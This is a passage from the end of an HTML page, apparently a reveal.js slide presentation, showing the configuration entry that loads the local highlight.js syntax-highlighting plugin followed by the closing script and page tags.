{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>